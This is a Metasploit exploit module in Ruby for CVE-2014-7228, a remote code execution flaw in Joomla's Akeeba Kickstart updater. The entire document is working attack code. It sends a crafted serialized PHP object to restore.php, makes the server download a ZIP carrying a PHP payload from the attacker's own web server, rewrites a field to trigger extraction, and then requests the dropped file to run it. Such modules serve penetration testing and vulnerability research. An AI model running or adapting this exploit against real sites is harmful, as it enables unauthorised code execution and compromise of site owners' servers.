Joomla! Component Akeeba Kickstart – Unserialize Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/zip' require 'json' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution", 'Description' => %q{ This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier 3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba component, which is responsible for Joomla! updates. Nevertheless it is worth to note that this vulnerability is only exploitable during the update of the Joomla! CMS. }, 'License' => MSF_LICENSE, 'Author' => [ 'Johannes Dahse', # Vulnerability discovery 'us3r777 <us3r777[at]n0b0.so>' # Metasploit module ], 'References' => [ [ 'CVE', '2014-7228' ], [ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'], [ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'], [ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'], ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'DisclosureDate' => "Sep 29 2014", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5]) ], self.class) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php') ) if res && res.code == 200 return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def primer srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip" php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}' php_filename = rand_text_alpha(8 + rand(8)) + '.php' # Create the zip archive print_status("Creating archive with file #{php_filename}") zip_file = Rex::Zip::Archive.new zip_file.add_file(php_filename, payload.encoded) @zip = zip_file.pack # First step: call restore to run _prepare() and get an initialized AKFactory print_status("#{peer} - Sending PHP serialized object...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'), 'vars_get' => { 'task' => 'stepRestore', 'factory' => Rex::Text.encode_base64(php_serialized_akfactory) } }) unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/ print_status("#{res.code}\n#{res.body}") fail_with(Failure::Unknown, "#{peer} - Unexpected response") end # Second step: modify the currentPartNumber within the returned serialized AKFactory json = /###(.*)###/.match(res.body)[1] begin b64encoded_prepared_factory = JSON.parse(json)['factory'] rescue JSON::ParserError fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON") end prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory) modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1') print_status("#{peer} - Sending initialized and modified AKFactory...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'), 'vars_get' => { 'task' => 'stepRestore', 'factory' => Rex::Text.encode_base64(modified_factory) } }) unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/ fail_with(Failure::Unknown, "#{peer} - Unexpected response") end register_files_for_cleanup(php_filename) print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename) }, 2) end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stops due to our timeout, this is raised end end # Handle incoming requests from the server def on_request_uri(cli, request) if @zip && request.uri =~ /\.zip$/ print_status("Sending the ZIP archive...") send_response(cli, @zip, { 'Content-Type' => 'application/zip' }) return end print_status("Sending not found...") send_not_found(cli) end end |